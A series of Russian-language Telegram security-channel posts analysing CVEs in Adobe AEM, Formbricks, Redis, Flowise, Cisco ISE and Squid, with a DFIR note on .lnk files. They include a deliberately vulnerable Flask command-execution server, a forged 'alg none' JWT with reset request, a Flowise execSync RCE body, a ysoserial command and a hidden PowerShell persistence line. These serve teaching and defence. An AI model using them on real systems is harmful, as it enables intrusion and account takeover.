Ловите небольшую лабораторную работу, в которой мы промоделируем
CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.
😬 Реальная эксплуатация будет выглядеть так:
Эта полезная нагрузка — результат выполнения:
Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.
💡 Важное уточнение: этот код — эмуляция десериализации, реальных объектов не создает и функции не вызывает.
Создадим шаблон полезной нагрузки.
RCE — это результат выполнения команды.
Итоговый payload:
Pуthon сервер:
При отправке нашего payload на сервере произойдет:
1️⃣ отчистка от тегов <@urlencode> <\@urlencode>;
2️⃣ декодирование URL;
3️⃣ декодирование в Base64;
4️⃣ распаковка gzip;
5️⃣ выполнение RCE.
😬 Как защититься:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах
2) Base64 строка будет начинаться с
3) Полезная нагрузка передается методом
4) Конечная точка
Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
CVE-2025-49533. CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.
/FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/…….</@urlencode>
Эта полезная нагрузка — результат выполнения:
java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "<RCE>" | gzip | base64 -w0
Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.
Создадим шаблон полезной нагрузки.
<@urlencode> RCE </@urlencode>
RCE — это результат выполнения команды.
echo -n "nslookup google.com" | gzip | base64 -w0
Итоговый payload:
<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>
Pуthon сервер:
import urllib.parse
import base64
import gzip
import io
from flask import Flask, request
import subprocess
import logging
app = Flask(__name__)
# Set up logging
logging.basicConfig(
filename='exploit.log',
level=logging.INFO,
format='[%(asctime)s] %(message)s',
)
@app.route('/rce')
def debug():
payload = request.args.get('cmd')
if payload:
if payload.startswith("<@urlencode>") and payload.endswith("</@urlencode>"):
payload = payload[len("<@urlencode>"):-len("</@urlencode>")]
print(payload)
decoded_url = urllib.parse.unquote_plus(payload)
print(decoded_url)
decoded_bytes = base64.b64decode(decoded_url)
print(decoded_bytes)
try:
with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:
decompressed = f.read()
except Exception:
decompressed = decoded_bytes
ascii_text = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decompressed])
try:
cmd = ascii_text[:1000]
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
return f"<pre>{output}</pre>"
except subprocess.CalledProcessError as e:
return f"<pre>Error:\n{e.output}</pre>"
else:
return "example /rce?cmd=<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>", 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=4502, debug=True)
При отправке нашего payload на сервере произойдет:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах
<@urlencode> </@urlencode>.2) Base64 строка будет начинаться с
H4s, что говорит о формате gzip .3) Полезная нагрузка передается методом
GET .4) Конечная точка
/FormServer/servlet/GetDocumentServlet .Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤46🔥9👍5👾1
JWT "alg none" vulnerability — CVE-2025-59934
CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.
Formbricks — платформа с открытым исходным кодом для сбора отзывов и управления пользовательским опытом. Имеет более 11 тысяч звезд на github.
🫡 Метрики
🫡 Кратко о JWT
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:
✅ Header — информация об алгоритме и типе токена;
✅ Payload — полезные данные, например ID пользователя, роли;
✅ Signature — защита от подделки (цифровая подпись).
Всё это кодируется в Base64Url :
🫡 Подробнее
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.
То есть если взять любой существующий userId из базы и создать токен вида:
jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.
Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.
Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.
🫡 Эксплуатация
Создаем JWT вида
base64Encode:
base64Decode:
Отправляем запрос:
Получает ответ от сервера:
🫡 Как защищаться
Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с
Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT
CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.
Base Score: 9,4 Critical
CWE: 345, 287, 347
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:
Всё это кодируется в Base64Url :
xxxxx.yyyyy.zzzzz
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
export const verifyToken = async (token: string): Promise<JwtPayload> => {
// First decode to get the ID
const decoded = jwt.decode(token);
const payload: JwtPayload = decoded as JwtPayload;
if (!payload) {
throw new Error("Token is invalid");
} jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.
То есть если взять любой существующий userId из базы и создать токен вида:
header = {"alg":"none","typ":"JWT"}
payload = {"id":"cmg52lkge0000pd01oq32fjhe"}jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.
Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.
Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.
Создаем JWT вида
base64Encode:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.
base64Decode:
{
"alg": "none",
"typ": "JWT"
}
{
"id": "cmg52lkge0000pd01oq32fjhe"
}Отправляем запрос:
http://localhost:3001/auth/forgot-password/reset?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.
Получает ответ от сервера:
0:{"a":"$@1","f":"","b":"Ap_lGlUnNFOHjKjBaGekh"}
1:{"data":{"success":true}}Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с
"alg":"none" блокировались.Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT
^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.$.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍8❤5🙉1👾1
NGC4141: атака на кастомные веб-приложения
Публичные веб-приложения можно строить на распространенном ПО, например WordPress, Bitrix, Tilda. Или с помощью кастомных решений. С точки зрения безопасности оба подхода имеют свои плюсы и минусы.
😬 Минус распространенного ПО:
— обязательно появятся публичные эксплойты под уязвимости в самом приложении или в одном из плагинов для него;
— через них будут атаковать.
😬 Плюсы такого ПО:
— при правильной конфигурации обеспечивает предсказуемый уровень защищенности;
— даже для новых уязвимостей в ПО можно проводить компенсирующие меры.
У кастомного решения, которое разработали с нуля или на основе распространенного ПО, тоже есть свои плюсы и минусы.
😬 Плюсы:
— скорее всего, эксплойтов в открытом доступе не будет;
— атаковать такую инфраструктуру сложнее.
😬 Минусы:
— непросто спрогнозировать защищенность;
— если инцидент произойдет, обнаружить и расследовать проникновение может быть сложнее.
Именно о такой атаке рассказываем в нашей новой статье про кластер NGC4141. Атакующие(предположительно из Восточной Азии) шпионили за российской госорганизацией. Использовали простые, но эффективные веб-шеллы, обошли АВПО и WAF. Все подробности в блоге.
Публичные веб-приложения можно строить на распространенном ПО, например WordPress, Bitrix, Tilda. Или с помощью кастомных решений. С точки зрения безопасности оба подхода имеют свои плюсы и минусы.
— обязательно появятся публичные эксплойты под уязвимости в самом приложении или в одном из плагинов для него;
— через них будут атаковать.
— при правильной конфигурации обеспечивает предсказуемый уровень защищенности;
— даже для новых уязвимостей в ПО можно проводить компенсирующие меры.
У кастомного решения, которое разработали с нуля или на основе распространенного ПО, тоже есть свои плюсы и минусы.
— скорее всего, эксплойтов в открытом доступе не будет;
— атаковать такую инфраструктуру сложнее.
— непросто спрогнозировать защищенность;
— если инцидент произойдет, обнаружить и расследовать проникновение может быть сложнее.
Именно о такой атаке рассказываем в нашей новой статье про кластер NGC4141. Атакующие
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍6❤2🤨2👾1
Сборщик мусора ломает безопасность Redis
CVE‑2025‑49844 — это критическая уязвимость с условным названием RediShell. Она затрагивает Redis в различных ветках до версий 7.2.11 / 7.4.6 / 8.0.4 / 8.2.1 и связана со встроенным интерпретатором Lua.
😬 Метрики
😬 Суть проблемы
Ошибка реализуется как Use‑After‑Free (UAF) — злоумышленник с правом выполнять Lua‑скрипты (авторизованный пользователь или злоумышленник на незащищённом экземпляре Redis) может сформировать скрипт, который:
— манипулирует сборщиком мусора (GC);
— освобождает ещё используемую структуру.
Это приводит к повреждению памяти -> позволяет выйти из песочницы Lua -> выполнить произвольный код на хосте. Поскольку большинство экземпляров Redis допускают выполнение Lua‑скриптов через команду EVAL, атакующий может удалённо отправить вредоносный скрипт и добиться RCE.
😬 Причина уязвимости
Redis использует Lua 5.1, чтобы выполнять пользовательские скрипты. Lua при загрузке фрагментов кода (chunk(ов)) присваивает фрагментам имя. Если во время разбора кода запустить сборщик мусора (GC), то память с этим именем может быть освобождена -> парсер продолжит пользоваться невалидным именем, а это Use-After-Free -> контроль памяти и перехват выполнения.
😬 Сценарий возможной атаки
1. Атакующий подключается к Redis.
2. Отправляет специально сформированный Lua‑скрипт через команду EVAL, который использует финализаторы и сборку мусора для создания UAF.
3. После получения примитивов UAF злоумышленник может выполнить дополнительные Lua‑команды, которые позволяют ему выйти из песочницы, например:
и т. п., затем загрузить произвольную библиотеку и выполнить машинный код, получив полный доступ к хосту.
😬 Способы защититься
Обновить Redis — уже выпущены патчи, где разработчики корректно привязали имя фрагмента к стеку, что исключает UAF.
Если не получается обновить, можно сделать следующее:
— ограничить доступ к Redis — сервер предназначен для работы в доверенной сети;
— настроить аутентификацию и ACL — включить сильный пароль в директиве requirepass, а также использовать механизмы ACL для запрета выполнения Lua‑скриптов неподдерживаемыми пользователями;
— отключить опасные команды EVAL и EVALSHA путём их переименования.
😬 Мониторинг и обнаружение
Выявить атаку в сети можно через анализ содержимого команды EVAL, которая приходит извне по протоколу RESP. Правило IDS, которое обнаруживает отправку команды EVAL, должно содержать в себе признаки триггера UAF — вызов collectgarbage('collect') и определение метода __gc, либо попытку использования опасных функций, таких как:
Правило может быть ориентировано на TCP‑трафик к стандартным портам Redis (6379,6380).
CVE‑2025‑49844 — это критическая уязвимость с условным названием RediShell. Она затрагивает Redis в различных ветках до версий 7.2.11 / 7.4.6 / 8.0.4 / 8.2.1 и связана со встроенным интерпретатором Lua.
Base Score: 9.9 (Critical)
CWE: 416
Ошибка реализуется как Use‑After‑Free (UAF) — злоумышленник с правом выполнять Lua‑скрипты (авторизованный пользователь или злоумышленник на незащищённом экземпляре Redis) может сформировать скрипт, который:
— манипулирует сборщиком мусора (GC);
— освобождает ещё используемую структуру.
Это приводит к повреждению памяти -> позволяет выйти из песочницы Lua -> выполнить произвольный код на хосте. Поскольку большинство экземпляров Redis допускают выполнение Lua‑скриптов через команду EVAL, атакующий может удалённо отправить вредоносный скрипт и добиться RCE.
Redis использует Lua 5.1, чтобы выполнять пользовательские скрипты. Lua при загрузке фрагментов кода (chunk(ов)) присваивает фрагментам имя. Если во время разбора кода запустить сборщик мусора (GC), то память с этим именем может быть освобождена -> парсер продолжит пользоваться невалидным именем, а это Use-After-Free -> контроль памяти и перехват выполнения.
1. Атакующий подключается к Redis.
2. Отправляет специально сформированный Lua‑скрипт через команду EVAL, который использует финализаторы и сборку мусора для создания UAF.
3. После получения примитивов UAF злоумышленник может выполнить дополнительные Lua‑команды, которые позволяют ему выйти из песочницы, например:
package.loadlib, io.popen, os.execute
и т. п., затем загрузить произвольную библиотеку и выполнить машинный код, получив полный доступ к хосту.
Обновить Redis — уже выпущены патчи, где разработчики корректно привязали имя фрагмента к стеку, что исключает UAF.
Если не получается обновить, можно сделать следующее:
— ограничить доступ к Redis — сервер предназначен для работы в доверенной сети;
— настроить аутентификацию и ACL — включить сильный пароль в директиве requirepass, а также использовать механизмы ACL для запрета выполнения Lua‑скриптов неподдерживаемыми пользователями;
— отключить опасные команды EVAL и EVALSHA путём их переименования.
Выявить атаку в сети можно через анализ содержимого команды EVAL, которая приходит извне по протоколу RESP. Правило IDS, которое обнаруживает отправку команды EVAL, должно содержать в себе признаки триггера UAF — вызов collectgarbage('collect') и определение метода __gc, либо попытку использования опасных функций, таких как:
package.loadlib, io.popen, os.execute
Правило может быть ориентировано на TCP‑трафик к стандартным портам Redis (6379,6380).
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍6⚡3❤1👾1
Сбросить пароль я тебе дам и токен я тебе тоже сразу дам — CVE-2025-58434
CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.
💡 Настоятельно рекомендуем обновиться.
👍 Метрики: CVE-2025–58434
👍 Метрики:CVE-2025-59528
👍 Метрики:CVE-2025-61687
👍 Об уязвимости
Конечная точка
json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
👍 Атака по шагам
Уточнение: для атаки необходимо знать действительный email-адрес.
1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена
5) Сбрасывают пароль на /api/v1/account/reset-password.
6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.
👍 Возможные последствия
Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.
CVE-2025-59528
POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.
CVE-2025-61687
POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.
👍 Как защититься
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.
CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре
CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.
CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.
Flowise — это open-source-платформа с открытым исходным кодом, которая позволяет разработчикам визуально создавать и развёртывать AI-агентов и потоки для работы с большими языковыми моделями (LLM). У нее больше 45 тысяч звезд на github.
Base Core: 9,8
CWE: CWE-306
Base Core: 10
CWE: CWE-94
Base Core: 8.8
CWE: CWE-434
Конечная точка
/api/v1/account/forgot-password на вход принимает простой json.{"user":{"email":"XXX@XXX.XXX"}}json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
{"user":{"id":"35c016f5-26cf-464f-81b8-424fb53f7a22","name":"test","email":"XXX@XXX.XXX ","credential":"$2a$05$qwiE0QxVe13PCdAohQ7Oe.NUvw.RrOQgrixnrm1oogMrv7h5dkfyS","tempToken":"SHVoGl0YGEIBjHRFbuTqEu3QyoHxfBMwyGhnyRfWq5Qefp6ExhG3y2fVK8V0OzOk","tokenExpiry":"2025-10-16T11:34:57.584Z","status":"active","createdDate":"2025-10-16T10:40:14.000Z","updatedDate":"2025-10-16T11:19:57.000Z","createdBy":"35c016f5-26cf-464f-81b8-424fb53f7a22","updatedBy":"35c016f5-26cf-464f-81b8-424fb53f7a22"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}Уточнение: для атаки необходимо знать действительный email-адрес.
1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена
/reset-password?token=<redacted-tempToken>.5) Сбрасывают пароль на /api/v1/account/reset-password.
{
"user":{
"email":"XXX@XXX.XXX",
"tempToken":"<redacted-tempToken>",
"password":"Admin1234!"
}
}6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.
Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.
CVE-2025-59528
POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"sleep 10\");return 1;})()})"
}
}вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.
CVE-2025-61687
POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.
CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре
mcpServerConfig предаются операторы js кода например :function(), exec, execSync, return,process и другие.CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20❤8👍4👌1👾1
Attention! Мы открыли набор на стажировку в Центр исследования киберугроз Solar 4RAYS 🫡
Выбирайте направление, которое вам ближе:
💻 Анализ вредоносного ПО — разбирайте код, находите следы атак и создавайте YARA-правила.
🕵️ Анализ данных киберразведки — собирайте сведения об угрозах, исследуйте уязвимости и стройте ловушки для атакующих.
Кому подойдет: студентам старших курсов ИБ-направлений или недавним выпускникам.
Важно: вы должны проживать в Москве.
Чтобы попасть в команду, нужно:
1️⃣ пройти тест,
2️⃣ решить практическое задание,
3️⃣ пообщаться с экспертами.
Заявки принимаем до 10 ноября. Все подробности на сайте.
Выбирайте направление, которое вам ближе:
💻 Анализ вредоносного ПО — разбирайте код, находите следы атак и создавайте YARA-правила.
🕵️ Анализ данных киберразведки — собирайте сведения об угрозах, исследуйте уязвимости и стройте ловушки для атакующих.
Кому подойдет: студентам старших курсов ИБ-направлений или недавним выпускникам.
Важно: вы должны проживать в Москве.
Чтобы попасть в команду, нужно:
Заявки принимаем до 10 ноября. Все подробности на сайте.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🎉6🔥4🤮3🤡2❤1🤣1👾1
Десятибалльная уязвимость в Cisco ISE (CVE 2025–20282)
В публичный доступ выложили скрипт, который эксплуатирует уязвимость CVE 2025–20282.
CVE 2025–20282 может позволить неаутентифицированному удалённому злоумышленнику загружать произвольные файлы на уязвимое устройство, а затем выполнять эти файлы в базовой операционной системе с правами root. Патч исправления — Cisco ISE или ISE-PIC 3.4 Patch 2.
😳 Метрики
😳 Об уязвимости
В уязвимой версии существует такой участок кода:
📍 var9 — это объект FileItem, полученный из multipart-запроса.
📍 var9.isFormField() возвращает true, если элемент запроса — обычное поле формы (например, <input type="text" ...>).
Соответственно, если !var9.isFormField() (то есть это файл, а не текстовое поле),
тогда вызывается метод:
this.validateAndSaveFile(var9, var6), который, судя по названию, проверяет и сохраняет файл в каталог /tmp, указанный в var6.
Короче: если отправить произвольный zip-архив с названием output.zip на уязвимую конечную точку, мы извлечем все файлы в директорию /opt/CSCOcpm. А это может привести к загрузке вредоносных скриптов и выполнению shell-кодов. Например, через замену файлов crontab, атак zip-slip. В опубликованном эксплойте установка reverse shell-соединения идет через перезапись файла
Уязвимая конечная точка —
Настоятельно рекомендуем обновиться!
😳 Как защититься
1) Ограничить загрузку файлов на /admin/files-upload/ с названием output.zip. Например, через блокирующее правило на WAF, IDS.
2) Вести мониторинг фалов загружаемых по /admin/files-upload/.
В публичный доступ выложили скрипт, который эксплуатирует уязвимость CVE 2025–20282.
CVE 2025–20282 может позволить неаутентифицированному удалённому злоумышленнику загружать произвольные файлы на уязвимое устройство, а затем выполнять эти файлы в базовой операционной системе с правами root. Патч исправления — Cisco ISE или ISE-PIC 3.4 Patch 2.
Base Score: 10.0 CRITICAL
CWE: CWE-269
В уязвимой версии существует такой участок кода:
public void handleFilesUpload(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
logger.info("In handleFilesUpload method");
Object var3 = null;
try {
DiskFileItemFactory var4 = new DiskFileItemFactory();
ServletFileUpload var5 = new ServletFileUpload(var4);
String var6 = "/tmp";
List var7 = var5.parseRequest(var1);
Iterator var8 = var7.iterator();
while(var8.hasNext()) {
FileItem var9 = (FileItem)var8.next();
if (!var9.isFormField()) {
this.validateAndSaveFile(var9, var6);
}
}
logger.info("copy done");
UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm");
} catch (Exception var10) {
logger.info("Exception: ", var10);
}
}Соответственно, если !var9.isFormField() (то есть это файл, а не текстовое поле),
тогда вызывается метод:
this.validateAndSaveFile(var9, var6), который, судя по названию, проверяет и сохраняет файл в каталог /tmp, указанный в var6.
UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm"); - распакует файл /tmp/output.zip в "/opt/CSOCppm. Короче: если отправить произвольный zip-архив с названием output.zip на уязвимую конечную точку, мы извлечем все файлы в директорию /opt/CSCOcpm. А это может привести к загрузке вредоносных скриптов и выполнению shell-кодов. Например, через замену файлов crontab, атак zip-slip. В опубликованном эксплойте установка reverse shell-соединения идет через перезапись файла
/opt/CSCOcpm/bin/isehourlycron.shУязвимая конечная точка —
/admin/files-upload/Настоятельно рекомендуем обновиться!
1) Ограничить загрузку файлов на /admin/files-upload/ с названием output.zip. Например, через блокирующее правило на WAF, IDS.
2) Вести мониторинг фалов загружаемых по /admin/files-upload/.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13⚡5❤4👾1
Десятибалльная уязвимость в Squid (CVE-2025-62168)
В публичный доступ выложили сканер версий для кэширующего прокси-сервера Squid.
📍 По данным FOFA, Squid используется более чем в 40 миллионах сервисов по всему миру, в том числе и в России.
CVE-2025–62168 — уязвимость раскрытия информации в некоторых версиях кэширующего прокси-сервера Squid через генерируемые сообщения об ошибках, которые возвращаются клиентам.
✅ Затронуты такие версии:
• Squid 3.x до 3.5.28 включительно;
• Squid 4.x до 4.17 включительно;
• Squid 5.x до 5.9 включительно;
• Squid 6.x до 6.14 включительно;
• Squid 7.x до 7.1 включительно.
Настоятельно рекомендуем обновиться!
🫡 Метрики
🫡 Об уязвимости
В Squid при генерации страницы ошибки (error page) используются специальные шаблонные коды. Например:
• %R — вставляет оригинальный HTTP-запрос клиента;
• %W — вставляет ответ от сервера, если он был получен перед ошибкой).
Проблема в том, что до версии 7.2 эти расширения не удаляли конфиденциальные данные, включая:
• Authorization: (HTTP Basic / Bearer / Proxy-Auth и т.п.);
• Proxy-Authorization:,
• другие заголовки с токенами или паролями.
Уязвимость связана с параметром email_err_data. Все версии Squid до 7.1 включительно уязвимы, если email_err_data не задан или включён(по умолчанию он включён). Если email_err_data отключён, уязвимость отсутствует.
Пример работы сканера — на скриншоте: запрос, получение ответа, парсинг определенного поля.
🫡 Как защититься
1) отключить email_err_data;
2) логировать запросы с подозрительными заголовками авторизации;
3) написать блокирующее правило WAF, IDS на ответы сервера, которые передают данные авторизации и другую чувствительную информацию;
4) обновиться.
В публичный доступ выложили сканер версий для кэширующего прокси-сервера Squid.
CVE-2025–62168 — уязвимость раскрытия информации в некоторых версиях кэширующего прокси-сервера Squid через генерируемые сообщения об ошибках, которые возвращаются клиентам.
• Squid 3.x до 3.5.28 включительно;
• Squid 4.x до 4.17 включительно;
• Squid 5.x до 5.9 включительно;
• Squid 6.x до 6.14 включительно;
• Squid 7.x до 7.1 включительно.
Настоятельно рекомендуем обновиться!
Base Score: 10.0 CRITICAL
CWE: CWE-550, CWE-209
В Squid при генерации страницы ошибки (error page) используются специальные шаблонные коды. Например:
• %R — вставляет оригинальный HTTP-запрос клиента;
• %W — вставляет ответ от сервера, если он был получен перед ошибкой).
Проблема в том, что до версии 7.2 эти расширения не удаляли конфиденциальные данные, включая:
• Authorization: (HTTP Basic / Bearer / Proxy-Auth и т.п.);
• Proxy-Authorization:,
• другие заголовки с токенами или паролями.
Уязвимость связана с параметром email_err_data. Все версии Squid до 7.1 включительно уязвимы, если email_err_data не задан или включён
Пример работы сканера — на скриншоте: запрос, получение ответа, парсинг определенного поля.
1) отключить email_err_data;
2) логировать запросы с подозрительными заголовками авторизации;
3) написать блокирующее правило WAF, IDS на ответы сервера, которые передают данные авторизации и другую чувствительную информацию;
4) обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17❤5🤔4💯1👾1
Заметки на полях DFIR: файлы-ярлыки (.lnk) Windows и блок данных EXTRA_DATA
При расследовании киберинцидентов часто работаем с файлами-ярлыками (.lnk). Например, атакующие применяют ярлыки в фишинговых кампаниях (
🫡 Так, при расследовании одного из инцидентов, обнаружили подозрительный ярлык в каталоге автозагрузки:
Файл ссылался на cmd.exe со следующим командлайном:
Атакующие почистили журнал событий, поэтому полностью проанализировать активность вокруг файла было невозможно.
💡 В таких ситуациях помогают различные особенности артефактов Windows. Например, ярлыки обладают блоком данных
— информация о файле, на который создается ссылка;
— дополнительная информация о самом ярлыке, в том числе информация о пользователе, создавшем ярлык, и имя системы, на которой он был создан.
Атакующие не удалили эти метаданные. Поэтому с помощью LECmd.exe мы узнали SID пользователя и систему, на который был создан ярлык. Ее анализ позволил установить, что атакующим был внутренний нарушитель, который создал ярлык с помощью своей учетной записи и распространил его по инфраструктуре компании. Более того, мы нашли и другие файлы, которые также закрепляли вредоносную нагрузку.
🫡 Именно поэтому важно помнить о тех или иных тонкостях следообразования различных артефактов. И хотя многие атакующие знают о необходимости очистки метаданных в ярлыках и не только, встречаются ситуации, когда этого не происходит.
При расследовании киберинцидентов часто работаем с файлами-ярлыками (.lnk). Например, атакующие применяют ярлыки в фишинговых кампаниях (
User Execution: Malicious Link ID: T1204.001) или чтобы закрепиться в системе (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder ID: T1547.001).C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\FILE.lnk
Файл ссылался на cmd.exe со следующим командлайном:
/c if exist " C:\Intel\FILE.ps1" (powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File " C:\Intel\FILE.ps1") else (exit 0)
Атакующие почистили журнал событий, поэтому полностью проанализировать активность вокруг файла было невозможно.
EXTRA_DATA.
EXTRA_DATA — это часть структуры ярлыка, в который записывается:— информация о файле, на который создается ссылка;
— дополнительная информация о самом ярлыке, в том числе информация о пользователе, создавшем ярлык, и имя системы, на которой он был создан.
Атакующие не удалили эти метаданные. Поэтому с помощью LECmd.exe мы узнали SID пользователя и систему, на который был создан ярлык. Ее анализ позволил установить, что атакующим был внутренний нарушитель, который создал ярлык с помощью своей учетной записи и распространил его по инфраструктуре компании. Более того, мы нашли и другие файлы, которые также закрепляли вредоносную нагрузку.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍9❤6👏5🤯1💯1👾1
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября
Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили.
🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках
18 ноября, 10:30, зал 3
🫡 Змеиная Rustамания: новые инструменты Shedding Zmiy»
20 ноября, 11:30, зал 3
🫡 (EDR) — Evading Detection to Ring 0
20 ноября, 12:45, зал 3
🫡 В джунглях персиста: изощренные техники закрепления
20 ноября, 13:45, зал 3
А ещё приготовили наш традиционный квест с тасками Defense, Offense и Osint. Как обычно, правильные флаги обменяем на мерч.
Принять участие →
